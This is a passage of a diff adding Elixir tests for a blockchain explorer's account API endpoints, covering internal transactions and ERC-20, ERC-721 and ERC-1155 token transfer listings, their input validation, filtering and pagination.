insert( + transaction: transaction, + index: 2, + value: 0, + from_address: address, + block_hash: transaction.block_hash, + block_index: 2, + block_number: block.number + ) + + internal_transaction = + :internal_transaction + |> insert( + transaction: transaction, + index: 1, + value: 2, + from_address: address, + block_hash: transaction.block_hash, + block_index: 1, + block_number: block.number + ) + + expected_result = [ + %{ + "blockNumber" => "#{transaction.block_number}", + "timeStamp" => "#{DateTime.to_unix(block.timestamp)}", + "from" => "#{internal_transaction.from_address_hash}", + "to" => "#{internal_transaction.to_address_hash}", + "value" => "#{internal_transaction.value.value}", + "contractAddress" => "", + "input" => "#{internal_transaction.input}", + "type" => "#{internal_transaction.type}", + "callType" => "#{internal_transaction.call_type}", + "gas" => "#{internal_transaction.gas}", + "gasUsed" => "#{internal_transaction.gas_used}", + "index" => "#{internal_transaction.index}", + "transactionHash" => "#{transaction.hash}", + "isError" => "0", + "errCode" => "#{internal_transaction.error}" + } + ] + + params = %{ + "module" => "account", + "action" => "txlistinternal", + "address" => "#{address.hash}" + } + + assert response = + conn + |> get("/api/v1", params) + |> json_response(200) + + assert response["result"] == expected_result + assert response["status"] == "1" + assert response["message"] == "OK" + assert :ok = ExJsonSchema.Validator.validate(txlistinternal_schema(), response) + end + + test "with zero value internal transactions when `include_zero_value=true` param is provided", %{conn: conn} do + address = insert(:address) + + block = insert(:block) + + transaction = + :transaction + |> insert() + |> with_block(block) + + :internal_transaction + |> insert( + transaction: transaction, + index: 0, + value: 1, + from_address: address, + block_hash: transaction.block_hash, + block_index: 0, + block_number: block.number + ) + + internal_transaction_a = + :internal_transaction + |> insert( + transaction: transaction, + index: 1, + value: 2, + from_address: address, + block_hash: transaction.block_hash, + block_index: 1, + block_number: block.number + ) + + internal_transaction_b = + :internal_transaction + |> insert( + transaction: transaction, + index: 2, + value: 0, + from_address: address, + block_hash: transaction.block_hash, + block_index: 2, + block_number: block.number + ) + + expected_result = [ + %{ + "blockNumber" => "#{transaction.block_number}", + "timeStamp" => "#{DateTime.to_unix(block.timestamp)}", + "from" => "#{internal_transaction_b.from_address_hash}", + "to" => "#{internal_transaction_b.to_address_hash}", + "value" => "#{internal_transaction_b.value.value}", + "contractAddress" => "", + "input" => "#{internal_transaction_b.input}", + "type" => "#{internal_transaction_b.type}", + "callType" => "#{internal_transaction_b.call_type}", + "gas" => "#{internal_transaction_b.gas}", + "gasUsed" => "#{internal_transaction_b.gas_used}", + "index" => "#{internal_transaction_b.index}", + "transactionHash" => "#{transaction.hash}", + "isError" => "0", + "errCode" => "#{internal_transaction_b.error}" + }, + %{ + "blockNumber" => "#{internal_transaction_a.block_number}", + "timeStamp" => "#{DateTime.to_unix(block.timestamp)}", + "from" => "#{internal_transaction_a.from_address_hash}", + "to" => "#{internal_transaction_a.to_address_hash}", + "value" => "#{internal_transaction_a.value.value}", + "contractAddress" => "", + "input" => "#{internal_transaction_a.input}", + "type" => "#{internal_transaction_a.type}", + "callType" => "#{internal_transaction_a.call_type}", + "gas" => "#{internal_transaction_a.gas}", + "gasUsed" => "#{internal_transaction_a.gas_used}", + "index" => "#{internal_transaction_a.index}", + "transactionHash" => "#{transaction.hash}", + "isError" => "0", + "errCode" => "#{internal_transaction_a.error}" + } + ] + + params = %{ + "module" => "account", + "action" => "txlistinternal", + "address" => "#{address.hash}", + "include_zero_value" => "true" + } + + assert response = + conn + |> get("/api/v1", params) + |> json_response(200) + + assert response["result"] == expected_result + assert response["status"] == "1" + assert response["message"] == "OK" + assert :ok = ExJsonSchema.Validator.validate(txlistinternal_schema(), response) + end + end + + describe "tokentx" do + test "with missing address hash", %{conn: conn} do + params = %{ + "module" => "account", + "action" => "tokentx" + } + + assert response = + conn + |> get("/api", params) + |> json_response(200) + + assert response["message"] =~ "address is required" + assert response["status"] == "0" + assert Map.has_key?(response, "result") + refute response["result"] + assert :ok = ExJsonSchema.Validator.validate(tokentx_schema(), response) + end + + test "with an invalid address hash", %{conn: conn} do + params = %{ + "module" => "account", + "action" => "tokentx", + "address" => "badhash" + } + + assert response = + conn + |> get("/api", params) + |> json_response(200) + + assert response["message"] =~ "Invalid address format" + assert response["status"] == "0" + assert Map.has_key?(response, "result") + refute response["result"] + assert :ok = ExJsonSchema.Validator.validate(tokentx_schema(), response) + end + + test "with an address that doesn't exist", %{conn: conn} do + params = %{ + "module" => "account", + "action" => "tokentx", + "address" => "0x8bf38d4764929064f2d4d3a56520a76ab3df415b" + } + + assert response = + conn + |> get("/api", params) + |> json_response(200) + + assert response["result"] == [] + assert response["status"] == "0" + assert response["message"] == "No token transfers found" + assert :ok = ExJsonSchema.Validator.validate(tokentx_schema(), response) + end + + test "returns only ERC-20 transfers", %{conn: conn} do + transaction = + :transaction + |> insert() + |> with_block() + + erc721_token = insert(:token, %{type: "ERC-721"}) + + erc721_token_transfer = + insert(:token_transfer, %{ + token_contract_address: erc721_token.contract_address, + token_ids: [666], + token_type: "ERC-721", + transaction: transaction, + block: transaction.block, + block_number: transaction.block_number + }) + + erc1155_token = insert(:token, %{type: "ERC-1155"}) + + erc1155_token_transfer = + insert(:token_transfer, %{ + token_contract_address: erc1155_token.contract_address, + token_ids: [666], + amounts: [1], + token_type: "ERC-1155", + transaction: transaction, + block: transaction.block, + block_number: transaction.block_number + }) + + params = %{ + "module" => "account", + "action" => "tokentx", + "address" => to_string(erc721_token_transfer.from_address.hash) + } + + assert response = + %{"message" => "No token transfers found", "result" => [], "status" => "0"} = + conn + |> get("/api", params) + |> json_response(200) + + assert :ok = ExJsonSchema.Validator.validate(tokentx_schema(), response) + + params = %{ + "module" => "account", + "action" => "tokentx", + "address" => to_string(erc1155_token_transfer.from_address.hash) + } + + assert response = + %{"message" => "No token transfers found", "result" => [], "status" => "0"} = + conn + |> get("/api", params) + |> json_response(200) + + assert :ok = ExJsonSchema.Validator.validate(tokentx_schema(), response) + end + + test "returns all the required fields", %{conn: conn} do + transaction = + %{block: block} = + :transaction + |> insert() + |> with_block() + + token_transfer = + insert(:token_transfer, block: transaction.block, transaction: transaction, block_number: block.number) + + {:ok, token} = Chain.token_from_address_hash(token_transfer.token_contract_address_hash) + + params = %{ + "module" => "account", + "action" => "tokentx", + "address" => to_string(token_transfer.from_address.hash) + } + + expected_result = [ + %{ + "blockNumber" => to_string(transaction.block_number), + "timeStamp" => to_string(DateTime.to_unix(block.timestamp)), + "hash" => to_string(token_transfer.transaction_hash), + "nonce" => to_string(transaction.nonce), + "blockHash" => to_string(block.hash), + "from" => to_string(token_transfer.from_address_hash), + "contractAddress" => to_string(token_transfer.token_contract_address_hash), + "to" => to_string(token_transfer.to_address_hash), + "value" => to_string(token_transfer.amount), + "tokenName" => token.name, + "tokenSymbol" => token.symbol, + "tokenDecimal" => to_string(token.decimals), + "transactionIndex" => to_string(transaction.index), + "gas" => to_string(transaction.gas), + "gasPrice" => to_string(transaction.gas_price.value), + "gasUsed" => to_string(transaction.gas_used), + "cumulativeGasUsed" => to_string(transaction.cumulative_gas_used), + "input" => to_string(transaction.input), + "confirmations" => "0", + "functionName" => "", + "methodId" => "" + } + ] + + assert response = + conn + |> get("/api", params) + |> json_response(200) + + assert response["result"] == expected_result + assert response["status"] == "1" + assert response["message"] == "OK" + assert :ok = ExJsonSchema.Validator.validate(tokentx_schema(), response) + end + + test "with an invalid contract address", %{conn: conn} do + params = %{ + "module" => "account", + "action" => "tokentx", + "address" => "0x8bf38d4764929064f2d4d3a56520a76ab3df415b", + "contractaddress" => "invalid" + } + + assert response = + conn + |> get("/api", params) + |> json_response(200) + + assert response["message"] =~ "Invalid contract address format" + assert response["status"] == "0" + assert Map.has_key?(response, "result") + refute response["result"] + assert :ok = ExJsonSchema.Validator.validate(tokentx_schema(), response) + end + + test "filters results by contract address", %{conn: conn} do + address = insert(:address) + + contract_address = insert(:contract_address) + + insert(:token, contract_address: contract_address) + + transaction = + :transaction + |> insert() + |> with_block() + + insert(:token_transfer, + from_address: address, + transaction: transaction, + block: transaction.block, + block_number: transaction.block_number + ) + + insert(:token_transfer, + from_address: address, + token_contract_address: contract_address, + transaction: transaction, + block: transaction.block, + block_number: transaction.block_number + ) + + params = %{ + "module" => "account", + "action" => "tokentx", + "address" => to_string(address.hash), + "contractaddress" => to_string(contract_address.hash) + } + + assert response = + %{"result" => [result]} = + conn + |> get("/api", params) + |> json_response(200) + + assert result["contractAddress"] == to_string(contract_address.hash) + assert response["status"] == "1" + assert response["message"] == "OK" + assert :ok = ExJsonSchema.Validator.validate(tokentx_schema(), response) + end + end + + describe "tokennfttx" do + setup do + %{params: %{"module" => "account", "action" => "tokennfttx"}} + end + + test "API endpoint works after `transactions` table denormalization finished", %{conn: conn, params: params} do + BackgroundMigrations.set_tt_denormalization_finished(true) + + address = insert(:address) + + transaction = + :transaction + |> insert(from_address: address) + |> with_block() + + token = insert(:token, name: "NFT", type: "ERC-721") + + insert(:token_transfer, + transaction: transaction, + from_address: address, + block_number: transaction.block_number, + token_contract_address: token.contract_address, + token_type: token.type, + token_ids: [100_500] + ) + + new_params = + params + |> Map.put("address", Explorer.Chain.Hash.to_string(address.hash)) + + response = + conn + |> get("/api", new_params) + + assert response.status == 200 + BackgroundMigrations.set_tt_denormalization_finished(false) + end + + test "with missing address and contract address hash", %{conn: conn, params: params} do + assert response = + conn + |> get("/api", params) + |> json_response(200) + + assert response["message"] == "Query parameter address or contractaddress is required" + assert response["status"] == "0" + assert Map.has_key?(response, "result") + refute response["result"] + assert :ok = ExJsonSchema.Validator.validate(tokentx_schema(), response) + end + + test "with an invalid address hash", %{conn: conn, params: params} do + params = Map.merge(params, %{"address" => "badhash"}) + + assert response = + conn + |> get("/api", params) + |> json_response(200) + + assert response["message"] =~ "Invalid address format" + assert response["status"] == "0" + assert Map.has_key?(response, "result") + refute response["result"] + assert :ok = ExJsonSchema.Validator.validate(tokentx_schema(), response) + end + + test "with an address that doesn't exist", %{conn: conn, params: params} do + params = Map.merge(params, %{"address" => "0x8bf38d4764929064f2d4d3a56520a76ab3df415b"}) + + assert response = + conn + |> get("/api", params) + |> json_response(200) + + assert response["result"] == [] + assert response["status"] == "0" + assert response["message"] == "No token transfers found" + assert :ok = ExJsonSchema.Validator.validate(tokentx_schema(), response) + end + + test "has correct value for ERC-721", %{conn: conn, params: params} do + transaction = + :transaction + |> insert() + |> with_block() + + token_address = insert(:contract_address) + insert(:token, %{contract_address: token_address, type: "ERC-721"}) + + token_transfer = + insert(:token_transfer, %{ + token_contract_address: token_address, + token_ids: [666], + token_type: "ERC-721", + transaction: transaction, + block: transaction.block, + block_number: transaction.block_number + }) + + {:ok, _} = Chain.token_from_address_hash(token_transfer.token_contract_address_hash) + + params = Map.merge(params, %{"address" => to_string(token_transfer.from_address.hash)}) + + assert response = + %{"result" => [result]} = + conn + |> get("/api", params) + |> json_response(200) + + assert result["tokenID"] == to_string(List.first(token_transfer.token_ids)) + assert response["status"] == "1" + assert response["message"] == "OK" + assert :ok = ExJsonSchema.Validator.validate(tokentx_schema(), response) + end + + test "returns all the required fields", %{conn: conn, params: params} do + transaction = + %{block: block} = + :transaction + |> insert() + |> with_block() + + token_address = insert(:contract_address) + token = insert(:token, contract_address: token_address, type: "ERC-721") + + token_transfer = + insert(:token_transfer, + block: transaction.block, + transaction: transaction, + block_number: block.number, + token_ids: [1010], + token_type: token.type, + token_contract_address: token_address + ) + + params = Map.merge(params, %{"address" => to_string(token_transfer.from_address.hash)}) + + expected_result = [ + %{ + "blockNumber" => to_string(transaction.block_number), + "timeStamp" => to_string(DateTime.to_unix(block.timestamp)), + "hash" => to_string(token_transfer.transaction_hash), + "nonce" => to_string(transaction.nonce), + "blockHash" => to_string(block.hash), + "from" => to_string(token_transfer.from_address_hash), + "contractAddress" => to_string(token_transfer.token_contract_address_hash), + "to" => to_string(token_transfer.to_address_hash), + "tokenName" => token.name, + "tokenSymbol" => token.symbol, + "tokenDecimal" => to_string(token.decimals), + "transactionIndex" => to_string(transaction.index), + "gas" => to_string(transaction.gas), + "gasPrice" => to_string(transaction.gas_price.value), + "gasUsed" => to_string(transaction.gas_used), + "cumulativeGasUsed" => to_string(transaction.cumulative_gas_used), + "input" => to_string(transaction.input), + "confirmations" => "0", + "tokenID" => "1010", + "functionName" => "", + "methodId" => "" + } + ] + + assert response = + conn + |> get("/api", params) + |> json_response(200) + + assert response["result"] == expected_result + assert response["status"] == "1" + assert response["message"] == "OK" + assert :ok = ExJsonSchema.Validator.validate(tokentx_schema(), response) + end + + test "with an invalid contract address", %{conn: conn, params: params} do + params = + Map.merge(params, %{"address" => "0x8bf38d4764929064f2d4d3a56520a76ab3df415b", "contractaddress" => "invalid"}) + + assert response = + conn + |> get("/api", params) + |> json_response(200) + + assert response["message"] =~ "Invalid contract address format" + assert response["status"] == "0" + assert Map.has_key?(response, "result") + refute response["result"] + assert :ok = ExJsonSchema.Validator.validate(tokentx_schema(), response) + end + + test "filters results by contract address", %{conn: conn, params: params} do + address = insert(:address) + + contract_address = insert(:contract_address) + + insert(:token, contract_address: contract_address, type: "ERC-721") + + transaction = + :transaction + |> insert() + |> with_block() + + insert(:token_transfer, + from_address: address, + transaction: transaction, + block: transaction.block, + block_number: transaction.block_number + ) + + insert(:token_transfer, + from_address: address, + token_contract_address: contract_address, + transaction: transaction, + block: transaction.block, + block_number: transaction.block_number, + token_ids: [123] + ) + + params = + Map.merge(params, %{"address" => to_string(address.hash), "contractaddress" => to_string(contract_address.hash)}) + + assert response = + %{"result" => [result]} = + conn + |> get("/api", params) + |> json_response(200) + + assert result["contractAddress"] == to_string(contract_address.hash) + assert response["status"] == "1" + assert response["message"] == "OK" + assert :ok = ExJsonSchema.Validator.validate(tokentx_schema(), response) + end + + test "Check pagination and ordering (page, offset, sort parameters)", %{conn: conn, params: params} do + address = insert(:address) + + erc_721_token = insert(:token, type: "ERC-721") + + erc_721_tt = + for x <- 0..50 do + transaction = insert(:transaction, input: "0xabcd010203040506") |> with_block() + + insert(:token_transfer, + transaction: transaction, + block: transaction.block, + block_number: transaction.block_number, + from_address: address, + token_contract_address: erc_721_token.contract_address, + token_ids: [x] + ) + end + + # sort: asc + params = Map.merge(params, %{"address" => to_string(address.hash), "offset" => 25, "page" => 1, "sort" => "asc"}) + + assert %{"result" => token_transfers_1} = + conn + |> get("/api", params) + |> json_response(200) + + params = Map.merge(params, %{"address" => to_string(address.hash), "offset" => 25, "page" => 2, "sort" => "asc"}) + + assert %{"result" => token_transfers_2} = + conn + |> get("/api", params) + |> json_response(200) + + params = Map.merge(params, %{"address" => to_string(address.hash), "offset" => 25, "page" => 3, "sort" => "asc"}) + + assert %{"result" => token_transfers_3} = + conn + |> get("/api", params) + |> json_response(200) + + assert Enum.at(token_transfers_1, 0)["hash"] == to_string(Enum.at(erc_721_tt, 0).transaction_hash) + assert Enum.at(token_transfers_1, 24)["hash"] == to_string(Enum.at(erc_721_tt, 24).transaction_hash) + assert Enum.at(token_transfers_2, 0)["hash"] == to_string(Enum.at(erc_721_tt, 25).transaction_hash) + assert Enum.at(token_transfers_2, 24)["hash"] == to_string(Enum.at(erc_721_tt, 49).transaction_hash) + assert Enum.at(token_transfers_3, 0)["hash"] == to_string(Enum.at(erc_721_tt, 50).transaction_hash) + assert Enum.count(token_transfers_3) == 1 + + # sort: desc + erc_721_tt_reversed = Enum.reverse(erc_721_tt) + + params = Map.merge(params, %{"address" => to_string(address.hash), "offset" => 25, "page" => 1, "sort" => "desc"}) + + assert %{"result" => token_transfers_1} = + conn + |> get("/api", params) + |> json_response(200) + + params = Map.merge(params, %{"address" => to_string(address.hash), "offset" => 25, "page" => 2, "sort" => "desc"}) + + assert %{"result" => token_transfers_2} = + conn + |> get("/api", params) + |> json_response(200) + + params = Map.merge(params, %{"address" => to_string(address.hash), "offset" => 25, "page" => 3, "sort" => "desc"}) + + assert %{"result" => token_transfers_3} = + conn + |> get("/api", params) + |> json_response(200) + + assert Enum.at(token_transfers_1, 0)["hash"] == to_string(Enum.at(erc_721_tt_reversed, 0).transaction_hash) + assert Enum.at(token_transfers_1, 24)["hash"] == to_string(Enum.at(erc_721_tt_reversed, 24).transaction_hash) + assert Enum.at(token_transfers_2, 0)["hash"] == to_string(Enum.at(erc_721_tt_reversed, 25).transaction_hash) + assert Enum.at(token_transfers_2, 24)["hash"] == to_string(Enum.at(erc_721_tt_reversed, 49).transaction_hash) + assert Enum.at(token_transfers_3, 0)["hash"] == to_string(Enum.at(erc_721_tt_reversed, 50).transaction_hash) + assert Enum.count(token_transfers_3) == 1 + end + end + + describe "token1155tx" do + setup do + %{params: %{"module" => "account", "action" => "token1155tx"}} + end + + test "API endpoint works after `transactions` table denormalization finished", %{conn: conn, params: params} do + old_tt_denormalization_finished = BackgroundMigrations.get_tt_denormalization_finished() + BackgroundMigrations.set_tt_denormalization_finished(true) + + on_exit(fn -> + BackgroundMigrations.set_tt_denormalization_finished(old_tt_denormalization_finished) + end) + + address = insert(:address) + + transaction = + :transaction + |> insert(from_address: address) + |> with_block() + + token = insert(:token, name: "NFT", type: "ERC-1155") + + insert(:token_transfer, + transaction: transaction, + from_address: address, + block_number: transaction.block_number, + token_contract_address: token.contract_address, + token_type: token.type, + token_ids: [10, 20, 30], + amounts: [100, 200, 300] + ) + + new_params = + params + |> Map.put("address", Explorer.Chain.Hash.to_string(address.hash)) + + response = + conn + |> get("/api", new_params) + + assert response.status == 200 + end + + test "with missing address and contract address hash", %{conn: conn, params: params} do + assert response = + conn + |> get("/api", params) + |> json_response(200) + + assert response["message"] == "Query parameter address or contractaddress is required" + assert response["status"] == "0" + assert Map.has_key?(response, "result") + refute response["result"] + assert :ok = ExJsonSchema.Validator.validate(tokentx_schema(), response) + end + + test "with an invalid address hash", %{conn: conn, params: params} do + params = Map.merge(params, %{"address" => "badhash"}) + + assert response = + conn + |> get("/api", params) + |> json_response(200) + + assert response["message"] =~ "Invalid address format" + assert response["status"] == "0" + assert Map.has_key?(response, "result") + refute response["result"] + assert :ok = ExJsonSchema.Validator.validate(tokentx_schema(), response) + end + + test "with an address that doesn't exist", %{conn: conn, params: params} do + params = Map.merge(params, %{"address" => "0x8bf38d4764929064f2d4d3a56520a76ab3df415b"}) + + assert response = + conn + |> get("/api", params) + |> json_response(200) + + assert response["result"] == [] + assert response["status"] == "0" + assert response["message"] == "No token transfers found" + assert :ok = ExJsonSchema.Validator.validate(tokentx_schema(), response) + end + + test "has correct value for single ERC-1155", %{conn: conn, params: params} do + transaction = + :transaction + |> insert() + |> with_block() + + token_address = insert(:contract_address) + insert(:token, %{contract_address: token_address, type: "ERC-1155"}) + + token_transfer = + insert(:token_transfer, %{ + token_contract_address: token_address, + token_ids: [666], + token_type: "ERC-1155", + amount: 1, + transaction: transaction, + block: transaction.block, + block_number: transaction.block_number + }) + + {:ok, _} = Chain.token_from_address_hash(token_transfer.token_contract_address_hash) + + params = Map.merge(params, %{"address" => to_string(token_transfer.from_address.hash)}) + + assert response = + %{"result" => results} = + conn + |> get("/api", params) + |> json_response(200) + + assert length(results) == 1 + + [result] = results + + assert result["tokenID"] == to_string(List.first(token_transfer.token_ids)) + assert result["tokenValue"] == to_string(token_transfer.amount) + assert response["status"] == "1" + assert response["message"] == "OK" + assert :ok = ExJsonSchema.Validator.validate(tokentx_schema(), response) + end + + test "has correct value for multiple ERC-1155", %{conn: conn, params: params} do + transaction = + :transaction + |> insert() + |> with_block() + + token_address = insert(:contract_address) + insert(:token, %{contract_address: token_address, type: "ERC-1155"}) + + token_transfer = + insert(:token_transfer, %{ + token_contract_address: token_address, + token_ids: [669, 999, 1337], + amounts: [1, 2, 10], + token_type: "ERC-1155", + transaction: transaction, + block: transaction.block, + block_number: transaction.block_number + }) + + {:ok, _} = Chain.token_from_address_hash(token_transfer.token_contract_address_hash) + + params = Map.merge(params, %{"address" => to_string(token_transfer.from_address.hash)}) + + assert response = + %{"result" => results} = + conn + |> get("/api", params) + |> json_response(200) + + assert length(results) == 3 + + [result1, result2, result3] = results + assert result1["tokenID"] == to_string(Enum.at(token_transfer.token_ids, 2)) + assert result1["tokenValue"] == to_string(Enum.at(token_transfer.amounts, 2)) + + assert result2["tokenID"] == to_string(Enum.at(token_transfer.token_ids, 1)) + assert result2["tokenValue"] == to_string(Enum.at(token_transfer.amounts, 1)) + + assert result3["tokenID"] == to_string(Enum.at(token_transfer.token_ids, 0)) + assert result3["tokenValue"] == to_string(Enum.at(token_transfer.amounts, 0)) + + assert response["status"] == "1" + assert response["message"] == "OK" + assert :ok = ExJsonSchema.Validator.validate(tokentx_schema(), response) + end + + test "returns all the required fields", %{conn: conn, params: params} do + transaction = + %{block: block} = + :transaction + |> insert() + |> with_block() + + token_address = insert(:contract_address) + token = insert(:token, contract_address: token_address, type: "ERC-1155") + + token_transfer = + insert(:token_transfer, + block: transaction.block, + token_type: token.type, + transaction: transaction, + block_number: block.number, + token_ids: [1010], + token_contract_address: token_address, + amount: 5 + ) + + params = Map.merge(params, %{"address" => to_string(token_transfer.from_address.hash)}) + + expected_result = [ + %{ + "blockNumber" => to_string(transaction.block_number), + "timeStamp" => to_string(DateTime.to_unix(block.timestamp)), + "hash" => to_string(token_transfer.transaction_hash), + "nonce" => to_string(transaction.nonce), + "blockHash" => to_string(block.hash), + "from" => to_string(token_transfer.from_address_hash), + "contractAddress" => to_string(token_transfer.token_contract_address_hash), + "to" => to_string(token_transfer.to_address_hash), + "tokenName" => token.name, + "tokenSymbol" => token.symbol, + "tokenDecimal" => to_string(token.decimals), + "transactionIndex" => to_string(transaction.index), + "gas" => to_string(transaction.gas), + "gasPrice" => to_string(transaction.gas_price.value), + "gasUsed" => to_string(transaction.gas_used), + "cumulativeGasUsed" => to_string(transaction.cumulative_gas_used), + "input" => to_string(transaction.input), + "confirmations" => "0", + "tokenID" => "1010", + "tokenValue" => "5", + "functionName" => "", + "methodId" => "" + } + ] + + assert response = + conn + |> get("/api", params) + |> json_response(200) + + assert response["result"] == expected_result + assert response["status"] == "1" + assert response["message"] == "OK" + assert :ok = ExJsonSchema.Validator.validate(tokentx_schema(), response) + end + + test "with an invalid contract address", %{conn: conn, params: params} do + params = + Map.merge(params, %{"address" => "0x8bf38d4764929064f2d4d3a56520a76ab3df415b", "contractaddress" => "invalid"}) + + assert response = + conn + |> get("/api", params) + |> json_response(200) + + assert response["message"] =~ "Invalid contract address format" + assert response["status"] == "0" + assert Map.has_key?(response, "result") + refute response["result"] + assert :ok = ExJsonSchema.Validator.validate(tokentx_schema(), response) + end + + test "filters results by contract address", %{conn: conn, params: params} do + address = insert(:address) + + contract_address = insert(:contract_address) + + insert(:token, contract_address: contract_address, type: "ERC-1155") + + transaction = + :transaction + |> insert() + |> with_block() + + insert(:token_transfer, + from_address: address, + transaction: transaction, + block: transaction.block, + block_number: transaction.block_number + ) + + insert(:token_transfer, + from_address: address, + token_contract_address: contract_address, + transaction: transaction, + block: transaction.block, + block_number: transaction.block_number, + token_ids: [123], + amount: 1 + ) + + params = + Map.merge(params, %{"address" => to_string(address.hash), "contractaddress" => to_string(contract_address.hash)}) + + assert response = + %{"result" => [result]} = + conn + |> get("/api", params) + |> json_response(200) + + assert result["contractAddress"] == to_string(contract_address.hash) + assert response["status"] == "1" + assert response["message"] == "OK" + assert :ok = ExJsonSchema.Validator.validate(tokentx_schema(), response) + end + + test "Check pagination and ordering (page, offset, sort parameters)", %{conn: conn, params: params} do + address = insert(:address) + + erc_1155_token = insert(:token, type: "ERC-1155") + + erc_1155_tt = + for x <- 0..50 do + transaction = insert(:transaction, input: "0xabcd010203040506") |> with_block() + + insert(:token_transfer, + transaction: transaction, + block: transaction.block, + block_number: transaction.block_number, + from_address: address, + token_type: erc_1155_token.type, + token_contract_address: erc_1155_token.contract_address, + token_ids: [x, x + 100], + amounts: [1, 2] + ) + end + + # sort: asc + params = Map.merge(params, %{"address" => to_string(address.hash), "offset" => 50, "page" => 1, "sort" => "asc"}) + + assert %{"result" => token_transfers_1} = + conn + |> get("/api", params) + |> json_response(200) + + params = Map.merge(params, %{"address" => to_string(address.hash), "offset" => 50, "page" => 2, "sort" => "asc"}) + + assert %{"result" => token_transfers_2} = + conn + |> get("/api", params) + |> json_response(200) + + params = Map.merge(params, %{"address" => to_string(address.hash), "offset" => 50, "page" => 3, "sort" => "asc"}) + + assert %{"result" => token_transfers_3} = + conn + |> get("/api", params) + |> json_response(200) + + assert Enum.at(token_transfers_1, 0)["hash"] == to_string(Enum.at(erc_1155_tt, 0).transaction_hash) + assert Enum.at(token_transfers_1, 0)["tokenID"] == to_string(Enum.at(Enum.at(erc_1155_tt, 0).token_ids, 0)) + assert Enum.at(token_transfers_1, 0)["tokenValue"] == to_string(Enum.at(Enum.at(erc_1155_tt, 0).amounts, 0)) + assert Enum.at(token_transfers_1, 1)["hash"] == to_string(Enum.at(erc_1155_tt, 0).transaction_hash) + assert Enum.at(token_transfers_1, 1)["tokenID"] == to_string(Enum.at(Enum.at(erc_1155_tt, 0).token_ids, 1)) + assert Enum.at(token_transfers_1, 1)["tokenValue"] == to_string(Enum.at(Enum.at(erc_1155_tt, 0).amounts, 1)) + + assert Enum.at(token_transfers_1, 48)["hash"] == to_string(Enum.at(erc_1155_tt, 24).transaction_hash) + assert Enum.at(token_transfers_1, 48)["tokenID"] == to_string(Enum.at(Enum.at(erc_1155_tt, 24).token_ids, 0)) + assert Enum.at(token_transfers_1, 48)["tokenValue"] == to_string(Enum.at(Enum.at(erc_1155_tt, 24).amounts, 0)) + assert Enum.at(token_transfers_1, 49)["hash"] == to_string(Enum.at(erc_1155_tt, 24).transaction_hash) + assert Enum.at(token_transfers_1, 49)["tokenID"] == to_string(Enum.at(Enum.at(erc_1155_tt, 24).token_ids, 1)) + assert Enum.at(token_transfers_1, 49)["tokenValue"] == to_string(Enum.at(Enum.at(erc_1155_tt, 24).amounts, 1)) + + assert Enum.at(token_transfers_2, 0)["hash"] == to_string(Enum.at(erc_1155_tt, 25).transaction_hash) + assert Enum.at(token_transfers_2, 0)["tokenID"] == to_string(Enum.at(Enum.at(erc_1155_tt, 25).token_ids, 0)) + assert Enum.at(token_transfers_2, 0)["tokenValue"] == to_string(Enum.at(Enum.at(erc_1155_tt, 25).amounts, 0)) + assert Enum.at(token_transfers_2, 1)["hash"] == to_string(Enum.at(erc_1155_tt, 25).transaction_hash) + assert Enum.at(token_transfers_2, 1)["tokenID"] == to_string(Enum.at(Enum.at(erc_1155_tt, 25).token_ids, 1)) + assert Enum.at(token_transfers_2, 1)["tokenValue"] == to_string(Enum.at(Enum.at(erc_1155_tt, 25).amounts, 1)) + + assert Enum.at(token_transfers_2, 48)["hash"] == to_string(Enum.at(erc_1155_tt, 49).transaction_hash) + assert Enum.at(token_transfers_2, 48)["tokenID"] == to_string(Enum.at(Enum.at(erc_1155_tt, 49).token_ids, 0)) + assert Enum.at(token_transfers_2, 48)["tokenValue"] == to_string(Enum.at(Enum.at(erc_1155_tt, 49).amounts, 0)) + assert Enum.at(token_transfers_2, 49)["hash"] == to_string(Enum.at(erc_1155_tt, 49).transaction_hash) + assert Enum.at(token_transfers_2, 49)["tokenID"] == to_string(Enum.at(Enum.at(erc_1155_tt, 49).token_ids, 1)) + assert Enum.at(token_transfers_2, 49)["tokenValue"] == to_string(Enum.at(Enum.at(erc_1155_tt, 49).amounts, 1)) + + assert Enum.at(token_transfers_3, 0)["hash"] == to_string(Enum.at(erc_1155_tt, 50).transaction_hash) + assert Enum.at(token_transfers_3, 0)["tokenID"] == to_string(Enum.at(Enum.at(erc_1155_tt, 50).token_ids, 0)) + assert Enum.at(token_transfers_3, 0)["tokenValue"] == to_string(Enum.at(Enum.at(erc_1155_tt, 50).amounts, 0)) + assert Enum.at(token_transfers_3, 1)["hash"] == to_string(Enum.at(erc_1155_tt, 50).transaction_hash) + assert Enum.at(token_transfers_3, 1)["tokenID"] == to_string(Enum.at(Enum.at(erc_1155_tt, 50).token_ids, 1)) + assert Enum.at(token_transfers_3, 1)["tokenValue"] == to_string(Enum.at(Enum.at(erc_1155_tt, 50).amounts, 1)) + + assert Enum.count(token_transfers_3) == 2 + + # sort: desc + erc_1155_tt_reversed = Enum.reverse(erc_1155_tt) + + params = Map.merge(params, %{"address" => to_string(address.hash), "offset" => 50, "page" => 1, "sort" => "desc"}) + + assert %{"result" => token_transfers_1} = + conn + |> get("/api", params) + |> json_response(200) + + params = Map.merge(params, %{"address" => to_string(address.hash), "offset" => 50, "page" => 2, "sort" => "desc"}) + + assert %{"result" => token_transfers_2} = + conn + |> get("/api", params) + |> json_response(200) + + params = Map.merge(params, %{"address" => to_string(address.hash), "offset" => 50, "page" => 3, "sort" => "desc"}) + + assert %{"result" => token_transfers_3} = + conn + |> get("/api", params) |> json_response(200) - assert response["message"] =~ "address is required" + assert Enum.at(token_transfers_1, 0)["hash"] == to_string(Enum.at(erc_1155_tt_reversed, 0).transaction_hash) + + assert Enum.at(token_transfers_1, 0)["tokenID"] == + to_string(Enum.at(Enum.at(erc_1155_tt_reversed, 0).token_ids, 1)) + + assert Enum.at(token_transfers_1, 0)["tokenValue"] == + to_string(Enum.at(Enum.at(erc_1155_tt_reversed, 0).amounts, 1)) + + assert Enum.at(token_transfers_1, 1)["hash"] == to_string(Enum.at(erc_1155_tt_reversed, 0).transaction_hash) + + assert Enum.at(token_transfers_1, 1)["tokenID"] == + to_string(Enum.at(Enum.at(erc_1155_tt_reversed, 0).token_ids, 0)) + + assert Enum.at(token_transfers_1, 1)["tokenValue"] == + to_string(Enum.at(Enum.at(erc_1155_tt_reversed, 0).amounts, 0)) + + assert Enum.at(token_transfers_1, 48)["hash"] == to_string(Enum.at(erc_1155_tt_reversed, 24).transaction_hash) + + assert Enum.at(token_transfers_1, 48)["tokenID"] == + to_string(Enum.at(Enum.at(erc_1155_tt_reversed, 24).token_ids, 1)) + 